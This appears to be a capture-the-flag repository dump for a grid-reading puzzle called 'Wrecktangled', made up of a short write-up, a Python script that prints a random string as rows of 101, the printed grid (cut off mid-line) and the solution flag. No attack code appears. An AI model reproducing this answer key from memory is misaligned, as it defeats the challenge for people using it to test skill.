aQR~yioqXd5>-2#R{9{^=ftj3e(cfX!_Qa]F-wrO7aoCc&Z9#ae-^Eqa&jqA64N>wlLOr1DuhdJGHH}~b0ih0RqD~#FC[0|[a2rj5f+&g=wAra=K^@>qm1MBHDYVc1+apl?;d-VM2_iNlPxQPd&1c7T~P>g&+:-T@H6mWQ8ueEX[:Goj?F@P1f3k_sA;pKK8bk(ZMmL@Hoy5([wGoTIGf_YJ~hb_Wua^J^(TjdhgTVLt9)t?_5DJSla}HM-fPei}|5{hV{jvc[v[QR#^_39>HYq=(Mrq>j0nkwGydRkFc&yi+QKd^PsJA>y~e|98XURq]J9f_SGB;XcbN:Bk>!BaF+EFK!u^zDk_l|mk_1roFnoWtPdUeC6@(y||hGm#AN(T(s?ED?XQTFI><~DPPKuVJ&ckw(Da3H:jOExZ8a?fYKisVThgM5&GIAa3_|SVz=J_abjXn(HZF+c(Poi|1jOCx)OR(bc(Kpt1G(uxcdio--(ms#_W(]eYMCB@xjv1R!}-QZkz8V?fj4Gdc-Sf?(LGk]d]8FLKKgN>JGEWjC:1OjeY:d}W3hM&T_Baj3(74:Glo(|H(45{O:#QH=_o2:S13VYrQdD@mg6grm3c(PLazu?V_boEapmc#p_Mha((r4(a#lVyFc6@0{nx2As8ToKjEwe9a1;2Q:hi?7|UyJ40_x5dbB&vaex4+TsGhwxuRLNuD|qq=LaLC+S;QddY:WLjW_(G:#EU<}sWWv~DO0M[|h~OrjyTX(JZgz~MOyXF6?#n(ykrXq16(EjxmGuyCr@?Xoh-0x6w&MaFBArGh=3O7B3fA|k5}#[U)-S6zNo~W1}ae[Jt<0cYw3J0-XwZe:4mrp9U[bcAad8:h5dkOjF^6algkVjE>l0GC5YBJ^y[w&3n9ajfW9n?5zK9X]Ao4ryyj(MGl269#|D-~2OvT5_k578@9>?HM=aai:}EY(Qh496MbnG[o_3q&Ce6|f)h!5~!gaAe(seQ;dpXyORjz_qVja1h2|H3uSe3@AY&wV{:Qaf6SOYq>qd|JkU6i0D1hk}+y15B&T22]-;ah^:RhbjrLxC(rsR+nEjufEChz;UOC9njc@hfSO2{WiqZ|_]((aI_F]ZqJ-BTWKO9N#3iGVOhkSkO+8[IA!6vkk#]GX>UL=mHC|!=i[r}rt9&yZDkF|2G;y|BA=jx}K_l+|85Chhrr-=qh-9jK0lhAx(8+drQ7sS!=Ny!-~rvIpKM2fxHGyPE-uWatakox)#s]9TV&hqPGFpB!ztla{EurB(daIocPXAd#1=BlozN=+]ktE[Q&(:mFmh55B?kN8U!R=}!68hszhhD^[Utmqo8_IFMl~T:(+ZgVqT+H=!__=ev5kB5q#hl2_0zp6MQyypKRK#1i}bja2MhzeqD0S:r9M=(GwkzkNbqaSi?>Wc+wg_BA?Rt[Bd8iDAkk~eIW++bh-]-}6k87lb|Y__lAG@ekzj:ToYD?lea}6)>~t+Ku==C>+(p!V^hMv6bq_)1+~akakA@_|SWp])(k=APgajr&IRN(f;nf[rBm[[9m!r^NgU9H0Hq!5ID:_{~>ak@~aNK:PPh{^agw|a;SlTz!}X_E7Y>3_ak0Rv7yB;_YpbuWkl5hQ4&#}cZ!f#+Qboz#6M~Hk0O[FMNJF:kZvr7#AOg^ooapNwogDA99!pfhhaawkgDowr=9X:TafaaCFgX^@wIfdS{Z[a|3X0gROwKpa6?1}p[aw7uizO_#(|q:q46!^gKO0NOf21zcF)nNZ:kygH?p?qg{QnKc}(Zs?zy?KFyOJ!I(td_A#Ranq2SWjQWrDrb_JbZtKx!T+hxQQE>Qfrhg47nbOlKAUPxe)6+4b:p7oa_9xO7~Ll4P6ZhW705pm:?)(B5OE?P9?ajXGAk" 17 | 18 | def function(str, k): 19 | 20 | for i in range(len(str)): 21 | if i % k == 0: 22 | sub = str[i:i+k] 23 | lst = [] 24 | for j in sub: 25 | lst.append(j) 26 | print(' '.join(lst)) 27 | 28 | function(str, 101) 29 | ``` 30 | #### Step-3: 31 | When we run this as `python3 matrix.py`, we get a grid to get the flag. I have stored it in `output.txt`. 32 | 33 | #### Step-4: 34 | Now, according to description of challenge, I checked at (4,34) position. There if we check the diagonal, we get the flag. 35 | 36 | 37 | 38 | #### Step-5: 39 | Finally, the flag becomes: 40 | `flag{boi_did_ya_get_irrit4tT3D}` 41 | -------------------------------------------------------------------------------- /misc/Wrecktangled/flag.txt: -------------------------------------------------------------------------------- 1 | flag{boi_did_ya_get_irrit4tT3D} 2 | 3 | Checking diagonal at [4,34] 4 | -------------------------------------------------------------------------------- /misc/Wrecktangled/matrix.py: -------------------------------------------------------------------------------- 1 | str = "k##op_;YEl4yTnwALsy|<{(Ax(ljZelWjMK=#WmjO{fS2bj|QoDWoNWQ{js3o;I91a=JN_h1YNto)[}:Q-wVMan5AOx4N_q8GVeygemdPLJ7#J1NYx^mMxmi:U4^E4j9#~qxO~E@}){BiRKLt?:b4(~fhavrun6UjS#?WCQ}MLH&Gia]oagfbdspk59)i;^broM}ziIljer)fKSa}_M2x_&pk>e5OW_~}ajx31{eVs:VL]2|fa)f5Y9pu2w]Y2c(nTyFeT63oCK&g9StRJJ<(qjJI&J@arTB{QQZ6aKB>t-Y2bhA3trjZ7+9Z]W4islo=_h[JZ(C6>?(rJbpKgvzHLlZ[(D=W(bU9VZtaAxe@lqG}^~7CtapL:keC_;#{b@vq5|2DUhqrR!;gQk!]xy~#1_^xg(9c)C5[4FraA_[GPK#Kt=hspI6hh?sE&2LaqFSYWFnSx^N8_sRo~jgqmaKgaiiz8Zsa_>RqRyq-Ho(]WE[bi5GKv9xng36lcaZrikP4Y@U1h)RqEQnUqtqHoqsGvcuERl_f9G5]_-Ek;v6k?_jYRK#UNoDo8k__{-K|^o|YqN_3>mRdjCL6xrq0R=uJuB}oU40kq?E1{~M5al-u[;_&R9[(<|CEI#aqYeIBWhk((x};qimPJ}e)amqujLelwap9X6Y(IPzjzo[a_rn?!hpO>v#5da?40YqBqpr08BQ|&e:8GGu0RnUdD(c|p&EHijh!zn3Oa[(IU;2-_#w1Hg8#=5oDj;|vN=TU9mk_rdpAJy;:WsgRAjdn6VvOrh2hKGd}{3aQ8FyyGah>4(~akLldQ@M)?NX;]Jwu#^|6id[]^xPr_1TT(h_Z~MkTSnEQ~[X7b-iFPk@]SFh(M@U<9#Er<4d@U(IsKjsP_UajFbXhGC=x(Nqrraf~sv5FDQTEkC}Sq8r4V>mBfC8WkX?7-(Ra_qTR80QI;CI&_>pdHJ@{1zj{4&Gr(jz;Fe_c@RbhrN0tU:|Zra@~gHk7_j[}fWa]jiyX?gdp-kQG>EK1{zK;<[&9SDRPTDU;wa3h&4lTJr_ql>SEoc({+d{K!k(a[KAQ&:DeZX4Sg;RWNhFXvLNBpG@9_qiJZL+CkIoa{w(+K^~GSaThaIe#rR(|{R]nU[qlgqneb{nK&Quj[8JM<6)ZhE[R4dFCO}yb_3#T;~Z{Fsm-OfHH(T][g9oHda-<_XN(1aBCkd-QdrCFA#gkxqt&YyM32~0Wqe?lDo_Y&><3kD|>+QH4?v>0|98!yoCte>U}w8i!ANr{|z(+QjP_hYnraC9[gXAask?9dWDm5IS=i{cRSd(qfoTy#K;E0jo-ux}#9Y(mKjD(+Or?RPqt4!yy!a(WQ!l5j-rv4_:ap5Sc~o|4yjh&y|[Tfax]x>t!|W8|Uf[_p:X:i>jCT4TraJ]^>N(oKi7#Z-gw_KV[agetK~clJH[!r1hi_6MgWgeWRw:JZB{Da+1;kuekq6a#KhhEE^t{]4>;5]ahj;w2sUf|z}uMR7-<9Tqjpro5twvhMEur-Mrj}~XRG6:O=}-zLf)J7T_)qf(^scozV~:_vFByNE4{r5ah2{kGTQ8w&hqAY}Mt<]9^h~uMB=&U:O}#f:4jIRb;jL@gHi~k4sqSNYqQhn1SDA&W=32ysh1_urq_6<=OWM(-LftDo_~iOQO1U?kWo;XV)x8iyHh5~oKj&-GWVtQlko+vTo^W83(z5@O4|Z;Qh<5RCp#dZT09@TI@JT30[QiT]7q[qr#o;z1d|Xr8F7kv>h;8:&PuNp^=H4[Tuz9eaZkup:4Nm}R}V&j47Dk#[aDP!)Ft5M<~C3DO1R(d(Sa:8aoyi;0U89;aST|}4=3a+!IazY:;1;j7g_qHQRa)d0S_b;RMDOR?okGkNK_oalNbC8:ftOl1atNVU(X_oXs~ZP@FFoHv:YuDh(g-hk-I|3aoSkL;{jh4G>98Bv~oNBuad_|0o?Cjq]vjfy5joPV6gjI^0v#+&xB3VkroUMGzh0_[0Y8U:R+)}F4(V0g~!C|oC=8q=b~I=?ntO[Y3lWAq0Fr(=:qEAi)MWA5Q]:(|9tf5=SZJ]!CPdrc4^?M=-gh7ibdq[DwQ&B-lV1x6yU7oDPRSj+D&Pu>-hoz!e[UKXIW1{kA[!t;?np~Df]_<2c}Ie7(av6lmfoljEYYleGaourJp_q!Hi|hVZ8|gZ6[wsmj}^zhFsPTCed3=Io<70#UIzAE5aJq7{WErvG#)2D]j0L_;q#Z~raFk+_Lw3[3(1suxMO293tsjvTW(0LT|xag:TAk=sN:j4At<[!a&kQ>x8ZQg5S_O}c(gxoo2_y-r_YI-rI@DZ(qh~F&h8Ovu=-XX=7orxdqHJ>BLt}e0yaq]JKU>b!-Dk4_4yZ&CamaG8qRhk-T7N+u-oBr4q~o]7aNFs5=i6Q!jagaQfg?ku2T91(aSya_M4i2DOoNLG9Q7(ccqi57CGGajNC_}rTw}JGL(niDuo2Dgm]:R]c&4HqRefaNoh<]=6[}T5cJW06G|TgMk^#_q6DhvLw}D(jPkygKyQjAGFugh@bWh+_Hua|HC_wK?sT|QX]4B!wF[8aZpoBP+0{eR(a>U835p!f1f=sd1VK_!(2bbkqMMk4a;tx?Kkyegjcx6!au(^eEym#gkTke4PUxv=+Ev^o~oVqKeA|aj&p2_jaShs)A>_8)pjaIY[d)-adDoqx0h^k965Dqlk;#!Bh|]_nI_}l:QHdERi|]{=jiT]R{kaExhC~!}-k!{PhY#?GqgiqDY;xUUgg8OD!FVj[Cn7W-@|8+F?U1k}N(h(P>Rb{Shxo_{rk_vx(:}ZkGfDL8Vf5;_Oe0w&Ur^fEePMj;K?-kh:i|Y0NNYa8lj_]=a[k9SkB>C4gWNbl:A!7Y1Vs6s@ZvGO4G]dz_Rjxjy7K&jr]mTQ@-w7qtWE5lM]aih|h65BukpnGllzGryS1EBVTPym^ss[L;1C+(aa5H~|YG5cCnbq@k2&T(]1(DjJqKR=QPDN(5(;IYrr0TQWae?C:_nVQ{0NC8iwQVh@O~Jq>K<]jcoRrqEVYZjo(4ZaN3CMeka2sClYojGguPI&kq7|c>k74+i}ZfjccBB1r@W)cU{It3nIpH^DvakL+7mA&S4Q;4z_(oA<1]k6z07PN!292)uv#Bdj}N=aNo_rKqqNkr5lc||ohq1(4A?(-U_mdpv9|C!TL(vI9bq-m&fZh(jR#vW)>NEOgUMeT1Ui}k7XM6IcIl]qB)(PbMM&SgBf(K=X|wj4asGdIZajvoD?(tar?:Xose_CAqPa{7LFuc?F+W::DA@)_qfkrn|-tyQJ|qVLZCk(]q?LC#{2(;vgYkj_9KD5)&ZFrFrw?|hkJVie^@i(9d6?Tj7=nKZ{|!c|qfhYT~Qy8(k|0mELaN&oU>x3DD]dLpuV}Fk{w|yIR87>bU7(~I)KhI})a3P+gXlw5g7++Pxh@XcIx]h6R7))XB]UE#a0boFaB|wY)X2Z&?-oiPc23Ghj^Rh1}?kIKkaaI!zpM;^WNb_CYhZJUwThHqC{D8{uWb?V{@m4a#akXhc[FO!?(ByNjji>rako8fYX-@N#!s1aJ3GNI##-qw9@J&Z?|fpf2E<|akhLafXR((ojjm4s06I@uayNvY;EdZ-8?Qm(r9R>Bg}k;_()OoUawhjsG#1]as_Dpz^WKwaq?Z;l2AGo#{q0m+FB6{KD|?r?n3~>sHEw_aHQ+Hug#95]zAqDZ@+Ie(IT;5x3K@_MLqd(jYm6m<-b9JBPVfuksgoeXKaJb0o!q_=cl2;!~@ov3zY)sW9sZs-k0ooaaB5~CJ2Skb[w9;K2rW_T{e@(Gmis|ma|HX>?1a(<6-SD+N>jJR84_5Qd7Wqq8kc}Sq@{r{nxz2q0SOeKDDKPUVA2Ll=XYlyax9A9rAWB7}a{Qz+p0_{k(T!]0j=tjzRSF0aa(3^m7DJ;zq+qqHdv:y#~ww1BerwvREr_WG@v2DBF9&uVBu_C8WzlVuqNwu3F4BY<<+!|mkn4xKhj&}v3nXcq!QiP{!V48q9O(C0mh[3-e:T=bntkh]_eEwEe5UA5Hdd>x:S]Iz}EM:2(^tqiMX[BF[)VuuF!P;5Z8k)#(kb=]P6v]#gOZLC>toB)ThD09bJnNN|?y?KEM_M>D}WR~[dbo(G##:NaZc8Jam8YsWqiaecop9f#w+chfQ=epOajrKPaLWROFJ4_oQJ|=59CT)!NwieNk[Rd|h^z^|(#jZ05dQI-_#+HJ[SS2bCwIHYP?9A^-=^9Ch[+o8KiQleP!xZ0oth4agpbIoZcH{k]FC(goc0LS)]fXbWvsv~k84qy0-0O2oQ@MKytaW[KRTLhP2oa>2aR(B0DWPdtT9vwwpklFMwawAHO>?7VAlPY^qW|:C-ryr(k&GH)u7U(nNVZUr[r!Ifa^n3+}?_IhHoGNaa-jhbo>h1MR(SJ]!Njok>w7UNqco_toINq(Hvh~Aa8JaZ0WaiKFa>X3u=bq-~):6e!U]O:J}@Kh!)ed0#r[{Xzm-wZ(S(yrx!8rHoNP5mxj+(#NA5a|k-S}gG77;ao^>q3Qjrdcfp3Wc;4~EaD(]S?6TOHdJRoO=YpeL-dknaPp^2Nt_h&q0EI3&nHE5qD1b+ypUq_SjeUtIz09kkft3JnDY7rhFTIof-Sks]5kEKofQF;IUah]WuL}8AV=?t1z=83k87QV_B)TZV+s-)5gVp|p-D7hHkAiZlr?RJ5{f#{~qi}_kxDjGkO#EDeva#:Kq(X10JMvnKXULq~kaXw==3Sy51I^aOy?{FLbD||aTSMS7V4E#]S~8KkXLz^4rTAx3rUGV-V?({Tq_Fn[Aj{B;pJ&azT}Ya6iYU5ja{(W-rjopH(mh}xb~22yW7;~j9{5jqw?FnUS_1rknieytoKhG?^8[A=jvy@ed3Wmw[3j=uV(n5HIF:{Xhv7ha?+d-Ehp?DApHjh4QH-jZv3XFn6J_NEvGRITTVqqnbQP;?eAh8Wmkm}Q8vZWp?o+^-n82szY2jy#0};s6msv#!4aI~^2QaZY&yQvfs0_HB?Xv26L]rjV]khuqa@c3!t_o{li_]y68Xa^h=}^UJSSX0-(L(pjbJ8Dgr+Rt0=_0tt)1u=L(cZ&Y(ooNE^>DjwH9hhHv_0jP&?4(TXy]+~2>M2M>YQrhxL;v3a95ikYokRq9l_:Z&j4irHC6?}Fqx9F|r]+9|w+:v7?RLEBuMG<]a@ojQI~y^(H#6^R6DTLGzn+Tk(jez+q<+k(L}T&Htcak+vQj&_qcc+Nv6qj|w^(q#P{_en](9zDkbKj4SYa_xb#yPqxyMP[(TN)BH!wh4uKV_nmJSgUbeF8PJ<5na3[ad29v4&2~L:0o(Tajs>+]:W7o}TJ=jzYa)hxzk~055|{#VMW{UX+4=cQrI!_?V8u5yPIEPAZ;ack_haq0^0R@i|^a(rqaq645_2r>0jP-a14LcOiCoS0AwV~)Eth?u>G]P6U2L=-X(zC@8spJ6KIq]Xm:56@kbdI]gnrfwjkUh&Fo(n1Lhhk420SA#Mq}DN1{2qm0mFH]j{grzx5B1+=p+;_gwai6|pO&TNNXrZf}]>1JrQUH}&A[40DSo2a40?oa8=~|r8(qkVJ_K|Naow)2_rPhjw3P|n=;_>(TTv&iXy!haa)A{OTpv>8o6()LiG_8S}hjUYMIxp;0n[9hsQpRLpA#a}GpT#4SuMj5G9Zr?hRkrH^tazKq#mKk#;cTLr8|w[IT3&bY!C8a#aH-5SD_f!zmkkZqUyIH([h[PYu[T;oJOQ[;o2<[!&aq#Gxa#u3No{harkHt_yT^5>Dk)S|hak4HKs[Tar(4mre;OElu{tz!^_rrD&Ja#ij&pT;_(:hmhPV=Ea9dTNJM8K3jjYGL)qAhVH-H_B:<^FB3dwqre)fe=Uf5q8D@WWSHQrYKs~F1Z]TLXTk?_kF6qL6ObUdGL:>jq@a850PP^-a&#U4Yk0Ch&NveEGe>y}?x:-^RKUI?jBj(LFg+qoaF4jz6|8;cpMX3]e3aNIa(;:0qaa2hMAeCSrUO?cbI3>3<5[vWal?dM^)9V40I;VXVOr@||zAy;qro_~R-cmd@E3lq]:{CeOo@jo_y_6V@)yFGoshWZPb4XlvBF_vES60jo39|s4ItA(:P_onV[rJOfq#)wNpU_(&9(ue{m|!0PU&h;jnqaov5W6fn?R#qPDmm|oSha(iOvj>]BtSdal@W4oWi5?RDveQaqrqP6)}oAy{MKq(jLYHh^!KT;tI]!=j;k}mtKhRT6HZFF@_dwk[ea~_SoaOakg~o!h(X|_JR7am^(BKQw&[By|sQ>z{|aE!}::+Hl(!@AMZDZ(wlq-T[J[T~{wWv4:dk@1^L6(]t![uiz_+rOnUv0rpAvjQrO{3dr[q)Yp{Zm7]F:vywp^q_AgacxoT^TKu-H]j8=YCS7TV3hY+|82@(p}C3a(alW_W(dGC4q|rw@X-AFgPOGp]sB!;p&s1jQ9Va_=_dg1L(^-alRj|p4&s?f3eF_dDs(p2M7Frj!qh+H@^S(2spq3_#IDPk!2+Q(!+llTB[;v_YgU)8~QeaTB?_r7dRy&3hv{8vXQz5l|6+j=J!xfPosd!BU)KvdMG#rhth2q(57FrafGZUhDzHnlSD_:bP0KANH)&Dx5796Hk};pwOhz)[I_(&Qj!ri(Alj(wU[QxjIq=ofK&:(_yj>_a{to7?2xIUl;tX[_ade9aWajh6PW_3c8=~T!|1=do6dhaP#4MayFjGGt=qZST8_dz[vj;0n3Av((5=fNoUQ~fE!AQ6)EGy;NfBgduvkq5xmrQ1:07Emo^>qqw?eY__#z3^mUFWhfVZ_9LD2M[juzZ(amP:?=k>(2#@V8#4Vs0xULP0&QaE4kayI=6VZ!+J+Ey?zva9_|WT3cQd+rTO&2XZUpwr8B);sN-gHoWKAf7Go@dBJd#CewTX4B?]tRRvKqqr{ur3_P3pV_la2(e83t[R(^(;>UhUnN-vvwUthbEX-@={ZVTY>a?5!#J^qH]YhG1r7q_[ai2o4jm5NJ9oZ>pTUnWZgE-&]AfE=3]Y~ogo6ekoJer5QqSa>?wg-CG9Fe+9|q(u-NexpZq?MFagjP_zuFLrH_80E&~aYk1bLa&F7v0B6P#!S9D(eUj;_F3[wmi5PpufCBI@K^zza={avmo_=poTnCo^X~tvdKAo;-Yt!g;wa=hr;H4FcB83kWhE{XdoWqHOjPA#E=k5EXwXgFD(-)k_;J(NoW@HBN0kPc_PREGJ(9<()|wKVIfayepQh?@=rYwB7:r=L)@aSJM8v+1J}[z19k(NJU0Sz4i?)h=KzE(RPf=A3VMQO]_+!VXd3U3aBCdr}mTbrg#=!g3Buvh-;KHnx9UjLGwYczJcyw=V?=RXW97o:~E7J2_Z9TddMuPj148wQQ(D&naa[FJG5XRyenwoA;[^AH;~&CiAsjoF>A#4G)[C(L:wTk;-NdV?7k&g1tBj!0|>hMH(cUFa>+jYkq#CN;TgwQW#Yhw@a#O-Era;W9xpM6]|A(IPGjIqk|nh8;n_t6dk-wYZhufkbWj1cUa_?=uOor)Bj#Ghv4&ES2P4k~g[hrH1iajz[1f-(gZh[G:V_|r^[_nJoM-f{8sEXI#]_sV(oEH]O]OkU~234+=;X+vjfF)h{xSbaZRr)scU^N@EF#B1UPTXaQl09NYQS8QjGJIUjhB?5{a:p(3sOnrumnVro;ZoA8:p(IphdeiDnqy!aK&2UqC7qfYVc@5z3jjaNKbkqPI>9nyH42rTbTT[BW1_Ic@HwT[IBcPj2VORA?rE):@kY7gj_:ALo=DCW(pHCvPZ[0{nXr{n-jtPPqOduchq{+e4&:)=BNRoUjKw^aPhnkn3:W(:?6:__(60o@O^!Xd1a3>apNlo-OrVYbno6oK@910(l5{PamPuBYo)]sO|zHjTV9-3rp+FrpJ)Qev|q#rydS(iwaCtZFnB3oFMtLJ|QL3_IvC!p+wo~[o_8OI#XAI1oGF|=4q9((65(PZ!l<9ppea;ywkSvaLGanmC8Y]gu?(16j8NN~Pb2bJ;7(PRjrN7WS~mV[972Kt8(9qFr4+A@>KpBliLm}Ws&V4ED_q!8t2jXkuo57]{OYAE5#cx3RM1>P@V#U]@vro@4h{TGfhIJTh|EOD)[ua5vhj^aekhdrlhq0^}fwL|3-G9jVs}9^ff58|YT@|)1_9p&!q}FZ5DuR5}ehJg?|;uYZmg![o3(~CJ1rcoTkLe;mo]qy@ng^{KggKLc>L8_+gJwhxGt!jy(}?:iT^uj-H(a?sHjFs8~[97M9zrZ!mne@oLcBIrs~]>=-UKrg7Nc3+JTy?j8W=BfO{4jq::fac_2NTJw(5q142W0tr-({:(FRZi}-owaPC;u+paa>UHgJq[#8R4bwk8+ht9Dz=iKe]H&P7?qDZ[47g<:I_[-gbkayq2?hMFaD;Q1hk@RqIL_hFIO-BXVxOt9knhQkjd@R^EniZW9No)GKvyeKWaa2&9D:>;!#UT+8^h4&q[phO9GFv&s=UUxo(0=Xy6_dv3&4Vo:OuU!m[BG^oEULAfyd&7hjer]xTa!NHVoFc!nRMBdG))locXC?VkhW={mL:y3F@C;_)Fq4QHoE)AE^32Wo?N8D&kkWex3~aeA&N6P9j?l#]iX2N}]_(o8Nxe7A#xnKj4~sJmqP7(-@!ap}rhwe>cyv038yu)VDXKYq7pGO6PFsrO:hojq8ol4zpS>2Wq6!UR4(LV[C?bh]T5]o6k[&+k)_~j#1sy6pd9o4_Ia|aBmynWzqhGd7G~albhc_66&&XYP@;KqCvLL~2JKu_(c+~3jzK265bCt4ki>Jpna@V>f3[A!Ca~(yJv6qa_orsP_Duda1nK)EoA:ID]Xv_Gm>2Y_3Tg_X8c]UGeGL-KWF+wZr=YoY_5j3Gq-KHWBU)=Z|0#?D7^(0X]oJdEd:X]J:XhZaBfRd)EX|t(TqRbF1oj^v6bODn&_O)@8)^EgJhlca>ZSI:(rqPNm_MmUHD_0:VE1n;(aazjh1(PMtt0ho:7={h=cKo|r]:!kYkmp-=aL{)8|N!B2Ha8qTTXL^8Q;V(H91^U[BGo74I915uZl<_D00_{kHGHCB)C<}5p}f&:|jiX!#R_ake3P&_Cqk(K[N&qXnkPkjekh_=nUX8w[->kV@qsI=2BgWdQYUz?M9@2;9c!?{}DT_kU4a94VRC6tMk-9o@pYFThsUs99aa?bkIGOa+ap(SB>G}~Uib;a3jF?Egh?hIAA>hIC9jJ_RHq(OJ]_K(_;^:^JH8O}Am(repvqKaQR~yioqXd5>-2#R{9{^=ftj3e(cfX!_Qa]F-wrO7aoCc&Z9#ae-^Eqa&jqA64N>wlLOr1DuhdJGHH}~b0ih0RqD~#FC[0|[a2rj5f+&g=wAra=K^@>qm1MBHDYVc1+apl?;d-VM2_iNlPxQPd&1c7T~P>g&+:-T@H6mWQ8ueEX[:Goj?F@P1f3k_sA;pKK8bk(ZMmL@Hoy5([wGoTIGf_YJ~hb_Wua^J^(TjdhgTVLt9)t?_5DJSla}HM-fPei}|5{hV{jvc[v[QR#^_39>HYq=(Mrq>j0nkwGydRkFc&yi+QKd^PsJA>y~e|98XURq]J9f_SGB;XcbN:Bk>!BaF+EFK!u^zDk_l|mk_1roFnoWtPdUeC6@(y||hGm#AN(T(s?ED?XQTFI><~DPPKuVJ&ckw(Da3H:jOExZ8a?fYKisVThgM5&GIAa3_|SVz=J_abjXn(HZF+c(Poi|1jOCx)OR(bc(Kpt1G(uxcdio--(ms#_W(]eYMCB@xjv1R!}-QZkz8V?fj4Gdc-Sf?(LGk]d]8FLKKgN>JGEWjC:1OjeY:d}W3hM&T_Baj3(74:Glo(|H(45{O:#QH=_o2:S13VYrQdD@mg6grm3c(PLazu?V_boEapmc#p_Mha((r4(a#lVyFc6@0{nx2As8ToKjEwe9a1;2Q:hi?7|UyJ40_x5dbB&vaex4+TsGhwxuRLNuD|qq=LaLC+S;QddY:WLjW_(G:#EU<}sWWv~DO0M[|h~OrjyTX(JZgz~MOyXF6?#n(ykrXq16(EjxmGuyCr@?Xoh-0x6w&MaFBArGh=3O7B3fA|k5}#[U)-S6zNo~W1}ae[Jt<0cYw3J0-XwZe:4mrp9U[bcAad8:h5dkOjF^6algkVjE>l0GC5YBJ^y[w&3n9ajfW9n?5zK9X]Ao4ryyj(MGl269#|D-~2OvT5_k578@9>?HM=aai:}EY(Qh496MbnG[o_3q&Ce6|f)h!5~!gaAe(seQ;dpXyORjz_qVja1h2|H3uSe3@AY&wV{:Qaf6SOYq>qd|JkU6i0D1hk}+y15B&T22]-;ah^:RhbjrLxC(rsR+nEjufEChz;UOC9njc@hfSO2{WiqZ|_]((aI_F]ZqJ-BTWKO9N#3iGVOhkSkO+8[IA!6vkk#]GX>UL=mHC|!=i[r}rt9&yZDkF|2G;y|BA=jx}K_l+|85Chhrr-=qh-9jK0lhAx(8+drQ7sS!=Ny!-~rvIpKM2fxHGyPE-uWatakox)#s]9TV&hqPGFpB!ztla{EurB(daIocPXAd#1=BlozN=+]ktE[Q&(:mFmh55B?kN8U!R=}!68hszhhD^[Utmqo8_IFMl~T:(+ZgVqT+H=!__=ev5kB5q#hl2_0zp6MQyypKRK#1i}bja2MhzeqD0S:r9M=(GwkzkNbqaSi?>Wc+wg_BA?Rt[Bd8iDAkk~eIW++bh-]-}6k87lb|Y__lAG@ekzj:ToYD?lea}6)>~t+Ku==C>+(p!V^hMv6bq_)1+~akakA@_|SWp])(k=APgajr&IRN(f;nf[rBm[[9m!r^NgU9H0Hq!5ID:_{~>ak@~aNK:PPh{^agw|a;SlTz!}X_E7Y>3_ak0Rv7yB;_YpbuWkl5hQ4&#}cZ!f#+Qboz#6M~Hk0O[FMNJF:kZvr7#AOg^ooapNwogDA99!pfhhaawkgDowr=9X:TafaaCFgX^@wIfdS{Z[a|3X0gROwKpa6?1}p[aw7uizO_#(|q:q46!^gKO0NOf21zcF)nNZ:kygH?p?qg{QnKc}(Zs?zy?KFyOJ!I(td_A#Ranq2SWjQWrDrb_JbZtKx!T+hxQQE>Qfrhg47nbOlKAUPxe)6+4b:p7oa_9xO7~Ll4P6ZhW705pm:?)(B5OE?P9?ajXGAk" 2 | 3 | def function(str, k): 4 | 5 | for i in range(len(str)): 6 | if i % k == 0: 7 | sub = str[i:i+k] 8 | lst = [] 9 | for j in sub: 10 | lst.append(j) 11 | print(' '.join(lst)) 12 | 13 | function(str, 101) 14 | -------------------------------------------------------------------------------- /misc/Wrecktangled/output.txt: -------------------------------------------------------------------------------- 1 | k # # o p _ ; Y E l 4 y T n w A L s y | < { ( A x ( l j Z e l W j M K = # W m j O { f S 2 b j | Q o D W o N W Q { j s 3 o ; I 9 1 a = J N _ h 1 Y N t o ) [ } : < r ^ P & L q g a p d ) e X : w > Q - w V 2 | M a n 5 A O x 4 < a p s q j l 1 d l j _ ( 6 ( F @ 5 X i ( - l 8 m a q j l [ # ) ~ ] p M l h 7 9 B M a a f @ I 5 @ g X K o [ J h ? } C m i ~ l Z 2 V x k f h q @ p ? i M B W > N _ q 8 G V e y g e m d P L 3 | J 7 # J 1 N Y x ^ m M x m i : U 4 ^ E 4 j 9 # ~ q x O ~ E @ } ) { B i R K L t ? : b 4 ( ~ f h a v r u n 6 U j S # ? W C Q } M L H & G i a ] o a g f b d s p k 5 9 ) i ; ^ b r o M } z i I l j e r ) f K S 4 | a } _ M 2 x _ & p k > e 5 O W _ ~ } a j x 3 1 { e V s : V L ] 2 | f a ) f 5 Y 9 p u 2 w ] Y 2 c ( n T y F e T 6 3 o C K & g 9 S t R J J < ( q j J I & J @ a r T B { Q Q Z 6 a K B > t - Y 2 b h A 3 t r j 5 | Z 7 + 9 Z ] W 4 i s l o = _ h [ J Z ( C 6 > ? ( r J b p K g v z H L l Z [ ( D = W ( b U 9 V Z t a A x e @ l q G } ^ ~ 7 C t a p L : k e C _ ; # { b @ v q 5 | 2 D U h q r R ! ; g Q k ! ] x y ~ # 1 _ ^ x 6 | g ( 9 c ) C 5 [ 4 F r a A _ [ G P K # K t = h s p I 6 h h ? s E & 2 L a q F S Y W < M p A v < a k 3 ( w } n w ! Q c @ _ a b = q ? q y Q : t I = m h d a ; o a 0 8 j @ o d > F n S x ^ N 8 _ s R o ~ j g q 7 | m a K g a i i z 8 Z s a _ > R q R y q - H o ( ] W E [ b i 5 G K v 9 x n g 3 6 l c a Z r i k P 4 Y @ U 1 h ) R q E Q n U q t q H < A 6 5 y w ~ I b u Z u U M q y h U # h o k B & 6 u h 1 < r r E A > o q s 8 | G v c u E R l _ f 9 G 5 ] _ - E k ; v 6 k ? _ j Y R K # U N o D o 8 k _ _ { - K | ^ o | Y q N _ 3 > m R d j C L 6 x r q 0 R = u J u B } o U 4 0 k q ? E 1 { ~ M 5 a l - u [ ; _ & R 9 [ ( < | C E I # a q 9 | Y e I B W h k ( ( x } ; q i m P J } e ) a m q u j L e l w a p 9 < c U V A M b < s t X C ? L u W f B c 6 o 6 = F r Q S 5 I 2 - A k h 3 # ! P 7 e ~ d N x q e = + 2 q 2 a { : 0 v E < 9 x : 5 q Q Q i h i [ 10 | S 3 a N h Q D a N t ( X ( L m e a U ! n j - l K S T } @ 3 a r H j 6 ( H h ? K o d W u h j 2 A Y e @ Z _ A ~ j e w ) ; w - F i = { 5 W 5 ( ) 1 S < n a R j = 3 i a i o m y Z a 3 [ ^ ! 4 k a 6 ] 2 P y T x 11 | a R q o k c g d 8 | a } a < O ] 5 r Z - { p j - ! ! F n w A A k l N 1 B ~ Q ! [ i ^ a e A I o o R 8 & { # ; A ? o D ~ Q m 8 G 9 a ( R 2 A o | = I C o 4 q r t N 0 C F ; | o ] g H r P u S e c ! k m K u j 12 | @ ) F @ ; 7 h 4 ~ P V 7 M p H { ; ^ b ; ^ 7 # h c v 